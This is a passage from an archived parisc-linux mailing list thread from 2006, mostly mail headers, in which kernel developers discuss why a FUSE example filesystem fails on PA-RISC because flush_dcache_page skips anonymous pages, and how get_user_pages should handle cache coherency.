I do see that when flush_dcache_page was added into get_user_pages in
2.5.46, the parisc flush_dcache_page looked to be doing something else,
something which would have caught the anonymous pages.  And I just
looked up the ChangeLog-2.5.46 entry, below: akpm and davem CC'ed.

<akpm@digeo.com>
  [PATCH] flush_dcache_page in get_user_pages()
  
  Davem said:
  
  "Ho hum, it is tricky :-)))
  
   At bio_map_user() you need to see the user's most recent write to the
   page if you are going "user --> device".  So if "user --> device"
   bio_map_user() must flush_dcache_page().
  
   I find the write_to_vm condition confusion which is probably why I am
   sitting here spelling this out :-)
  
   At bio_unmap_user(), if we are going "device --> user" you have to
   flush_dcache_page().  And actually, this flush could just as
   legitimately occur at bio_map_user() time.
  
   Therefore, the easiest thing to do is always flush_dcache_page() at
   bio_map_user().
  
   All the other cases are going to be like this, so we might as well
   cut to the chase and flush_dcache_page() for all the pages inside of
   get_user_pages()."
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to
	init on parisc
Date: Sun, 19 Mar 2006 10:50:48 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <1142787049.3240.20.camel__14311.6683852442$1416624590$gmane$org@mulgrave.il.steeleye.com>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net>
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
	<E1FJsHo-0006Yf-00@dorka.pomaz.szeredi.hu>
	<20060319043939.GP26474@pooh.bubble.frostnet.net>
	<1142750588.3773.26.camel@mulgrave.il.steeleye.com>
	<Pine.LNX.4.61.0603191033480.9273@goblin.wat.veritas.com>
	<1142777049.3240.6.camel@mulgrave.il.steeleye.com>
	<Pine.LNX.4.61.0603191526250.4440@goblin.wat.veritas.com>
	<1142783191.3240.14.camel@mulgrave.il.steeleye.com>
	<Pine.LNX.4.61.0603191614210.4908@goblin.wat.veritas.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624590 27581 80.91.229.3 (22 Nov 2014 02:49:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:50 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 Miklos Szeredi <miklos@szeredi.hu>,
 fuse-devel@lists.sourceforge.net,
 Chris Frost <chris@frostnet.net>,
 jick.nan@gmail.com,
 "David S. Miller" <davem@davemloft.net>,
 parisc-linux@parisc-linux.org
To: Hugh Dickins <hugh@veritas.com>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Mar 2006 16:52:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 19 Mar 2006 17:52:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BAE9B7D6A5;
	Sun, 19 Mar 2006 09:52:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27037-06; Sun, 19 Mar 2006 09:52:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A55DB7D6C7;
	Sun, 19 Mar 2006 09:52:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 660DB7D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 09:52:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27037-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 09:52:41 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id CDCB17D686
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 09:52:41 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 769A449402E; Sun, 19 Mar 2006 09:52:41 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by palinux.hppa (Postfix) with ESMTP id 2A301494028
	for <parisc-linux@parisc-linux.org>;
	Sun, 19 Mar 2006 09:52:41 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k2JGon222075; Sun, 19 Mar 2006 11:50:49 -0500
In-Reply-To: <Pine.LNX.4.61.0603191614210.4908@goblin.wat.veritas.com>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NulvZG40eSEkQ76WZHQhaXN1IGRvb4Bb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25280

On Sun, 2006-03-19 at 16:37 +0000, Hugh Dickins wrote:
> It sounds like an issue you need to raise on linux-arch?  I've no idea

Yes ... I think so.  I think the issue is that get_user_pages() has to
guarantee that every page it gets has no dirty user cache above it.

> whether it's the parisc implementation of flush_dcache_page which is
> at fault (skipping anonymous pages), or that get_user_pages ought to
> be calling something stronger (something new?).  Remember, I'm one of
> those x86 people with only a nursery-school grasp of coherency issues.

It seems to me that flush_dcache_page() should sweep up anonymous pages
as well ... as long as we have this pre-emptive coherency model where we
only call flush_dcache_page() once on entry so that as long as we exit
to user level having modified the underlying page memory (and the user
hasn't done anything to bring the page into their cache) then everything
works.

> I do see that when flush_dcache_page was added into get_user_pages in
> 2.5.46, the parisc flush_dcache_page looked to be doing something else,
> something which would have caught the anonymous pages.  And I just
> looked up the ChangeLog-2.5.46 entry, below: akpm and davem CC'ed.

Yes, I suspect our implementation should just sweep up anon pages
again ... However, I'll also compose a mailing for linux-arch just to be
sure we're all on the same page (no pun intended).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to
	init on parisc
Date: Sun, 19 Mar 2006 08:04:09 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <1142777049.3240.6.camel__43182.8889683404$1416624590$gmane$org@mulgrave.il.steeleye.com>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net>
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
	<E1FJsHo-0006Yf-00@dorka.pomaz.szeredi.hu>
	<20060319043939.GP26474@pooh.bubble.frostnet.net>
	<1142750588.3773.26.camel@mulgrave.il.steeleye.com>
	<Pine.LNX.4.61.0603191033480.9273@goblin.wat.veritas.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624590 27587 80.91.229.3 (22 Nov 2014 02:49:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:50 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 jick.nan@gmail.com,
 parisc-linux@parisc-linux.org,
 Chris Frost <chris@frostnet.net>,
 Miklos Szeredi <miklos@szeredi.hu>
To: Hugh Dickins <hugh@veritas.com>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Mar 2006 14:05:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 19 Mar 2006 15:05:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE9FA7D684;
	Sun, 19 Mar 2006 07:05:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25022-07; Sun, 19 Mar 2006 07:05:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B26967D69E;
	Sun, 19 Mar 2006 07:05:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4FB237D666
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 07:05:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25022-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 07:05:25 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AE5357D653
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 07:05:25 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 4A058495626; Sun, 19 Mar 2006 07:05:25 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by palinux.hppa (Postfix) with ESMTP id E5C8E494028
	for <parisc-linux@parisc-linux.org>;
	Sun, 19 Mar 2006 07:05:24 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k2JE49214100; Sun, 19 Mar 2006 09:04:09 -0500
In-Reply-To: <Pine.LNX.4.61.0603191033480.9273@goblin.wat.veritas.com>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eABvZKE8eSEkSL6WZHQhaXN1IGRvb8DV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25281

On Sun, 2006-03-19 at 10:52 +0000, Hugh Dickins wrote:
> > So, Hugh, you were the one who introduced this anonymous page behaviour;
> > how are we supposed to obtain coherency for these pages?
> 
> I don't think I changed any behaviour here, just implemention details
> (what you might expect to find stored in "page->mapping" in different
> circumstances).  Comparing current parisc source against 2.6.5 source
> (several releases before PAGE_MAPPING_ANON) bears that out, doesn't it?
> page->mapping on anonymous pages at that time would have been NULL (or
> &swapper_space if the page happened to have some swap assigned to it).

OK ... I just remember you introducing the page_mapping() macro ...

> Isn't the point simply that anonymous pages are never writably shared,
> and so don't require the coherency measures that shared writable pages
> do?  Anonymous pages may be shared readonly between children and parent
> of fork (and any modification requires Copy-On-Write at either end).
> There are MAP_SHARED|MAP_ANONYMOUS pages, but those are implemented
> like shared memory, as pages of an underlying tmpfs object (to which
> page->mapping will point as for a normal file).

Yes, this is precisely the point.  While it is true that anonymous pages
shouldn't be writeably shared and therefore no coherence measures should
be necessary between user space processes, anonymous pages are still not
congruently mapped in our kernel, so we have to take coherency measures
when trying to view them from the kernel.

> Whereas now Chris is working on a /proc file which gives access to
> anonymous pages by a backdoor?  That's new territory, and may indeed
> need something special such as you appended.  It might be something
> very useful for local use, but I doubt it would be accepted into a
> mainline kernel.

Well, yes, I think fuse is guilty to some degree.  However, the same
situation would prevail if anonymous memory were sent down to our other
kernel<->user mapping routines, like SG_IO for instance.  Perhaps we
should be doing early cow breaking for anonymous pages we know we're
going to write to?

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miklos Szeredi <miklos@szeredi.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to
	init on parisc
Date: Tue, 28 Mar 2006 13:00:42 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <E1FOBwI-0001TR-00__4339.19738648019$1416624591$gmane$org@dorka.pomaz.szeredi.hu>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net>
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
	<E1FJsHo-0006Yf-00@dorka.pomaz.szeredi.hu>
	<20060319043939.GP26474@pooh.bubble.frostnet.net>
	<1142750588.3773.26.camel@mulgrave.il.steeleye.com>
	<Pine.LNX.4.61.0603191033480.9273@goblin.wat.veritas.com>
	<1142777049.3240.6.camel@mulgrave.il.steeleye.com>
	<Pine.LNX.4.61.0603191526250.4440@goblin.wat.veritas.com>
	<1142783191.3240.14.camel@mulgrave.il.steeleye.com>
	<Pine.LNX.4.61.0603191614210.4908@goblin.wat.veritas.com>
	<1142787049.3240.20.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624591 27590 80.91.229.3 (22 Nov 2014 02:49:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:51 +0000 (UTC)
Cc: akpm@osdl.org,
 miklos@szeredi.hu,
 fuse-devel@lists.sourceforge.net,
 chris@frostnet.net,
 jick.nan@gmail.com,
 hugh@veritas.com,
 davem@davemloft.net,
 parisc-linux@parisc-linux.org
To: James.Bottomley@SteelEye.com
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2006 11:02:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 28 Mar 2006 13:02:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB6EE7D6D6;
	Tue, 28 Mar 2006 04:02:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30675-08; Tue, 28 Mar 2006 04:02:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D07937D6D8;
	Tue, 28 Mar 2006 04:02:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2653C7D6D3
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Mar 2006 04:02:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30582-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Mar 2006 04:02:25 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7FED97D6D0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Mar 2006 04:02:25 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 496EA494071; Tue, 28 Mar 2006 04:02:25 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dorka.pomaz.szeredi.hu (a1819.adsl.pool.eol.hu [81.0.120.41])
	by palinux.hppa (Postfix) with ESMTP id E10B9494018
	for <parisc-linux@parisc-linux.org>;
	Tue, 28 Mar 2006 04:02:24 -0700 (MST)
Original-Received: from miko by dorka.pomaz.szeredi.hu with local (Exim 3.36 #1
	(Debian)) id 1FOBwI-0001TR-00; Tue, 28 Mar 2006 13:00:42 +0200
In-reply-to: <1142787049.3240.20.camel@mulgrave.il.steeleye.com> (message from
	James Bottomley on Sun, 19 Mar 2006 10:50:48 -0600)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4yUbdwNpPTRt7OjGPjIwMzIxc2tpZItp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25282

> Yes, I suspect our implementation should just sweep up anon pages
> again ... However, I'll also compose a mailing for linux-arch just to be
> sure we're all on the same page (no pun intended).

Hi James,

I've seen you submitted the needed API changes on lkml.  Do you also
have the parisc implementation for Chris to try out?

Thanks,
Miklos
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to init
	on parisc
Date: Tue, 28 Mar 2006 09:03:55 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20060328140355.GE9011__42438.6077830151$1416624591$gmane$org@quicksilver.road.mcmartin.ca>
References: <E1FJsHo-0006Yf-00@dorka.pomaz.szeredi.hu>
	<20060319043939.GP26474@pooh.bubble.frostnet.net>
	<1142750588.3773.26.camel@mulgrave.il.steeleye.com>
	<Pine.LNX.4.61.0603191033480.9273@goblin.wat.veritas.com>
	<1142777049.3240.6.camel@mulgrave.il.steeleye.com>
	<Pine.LNX.4.61.0603191526250.4440@goblin.wat.veritas.com>
	<1142783191.3240.14.camel@mulgrave.il.steeleye.com>
	<Pine.LNX.4.61.0603191614210.4908@goblin.wat.veritas.com>
	<1142787049.3240.20.camel@mulgrave.il.steeleye.com>
	<E1FOBwI-0001TR-00@dorka.pomaz.szeredi.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624591 27593 80.91.229.3 (22 Nov 2014 02:49:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:51 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 akpm@osdl.org,
 fuse-devel@lists.sourceforge.net,
 chris@frostnet.net,
 jick.nan@gmail.com,
 hugh@veritas.com,
 davem@davemloft.net,
 parisc-linux@parisc-linux.org
To: Miklos Szeredi <miklos@szeredi.hu>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2006 14:05:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 28 Mar 2006 16:05:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7EF567D6E4;
	Tue, 28 Mar 2006 07:05:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00863-06; Tue, 28 Mar 2006 07:05:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 126CE7D6CC;
	Tue, 28 Mar 2006 07:05:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DDBD7D639
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Mar 2006 07:05:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00863-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Mar 2006 07:05:42 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id EF4D47D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Mar 2006 07:05:42 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 91511494072; Tue, 28 Mar 2006 07:05:42 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22]) by palinux.hppa (Postfix) with ESMTP id 29120494018
	for <parisc-linux@parisc-linux.org>;
	Tue, 28 Mar 2006 07:05:42 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id AF6505840C0;
	Tue, 28 Mar 2006 09:05:38 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 201985840BF;
	Tue, 28 Mar 2006 09:05:38 -0500 (EST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 95D3B23E83;
	Tue, 28 Mar 2006 09:05:06 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19036-08; Tue, 28 Mar 2006 09:05:06 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 49CA723E82;
	Tue, 28 Mar 2006 09:05:06 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 3CBBD3B060; Tue, 28 Mar 2006 09:03:56 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <E1FOBwI-0001TR-00@dorka.pomaz.szeredi.hu>
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
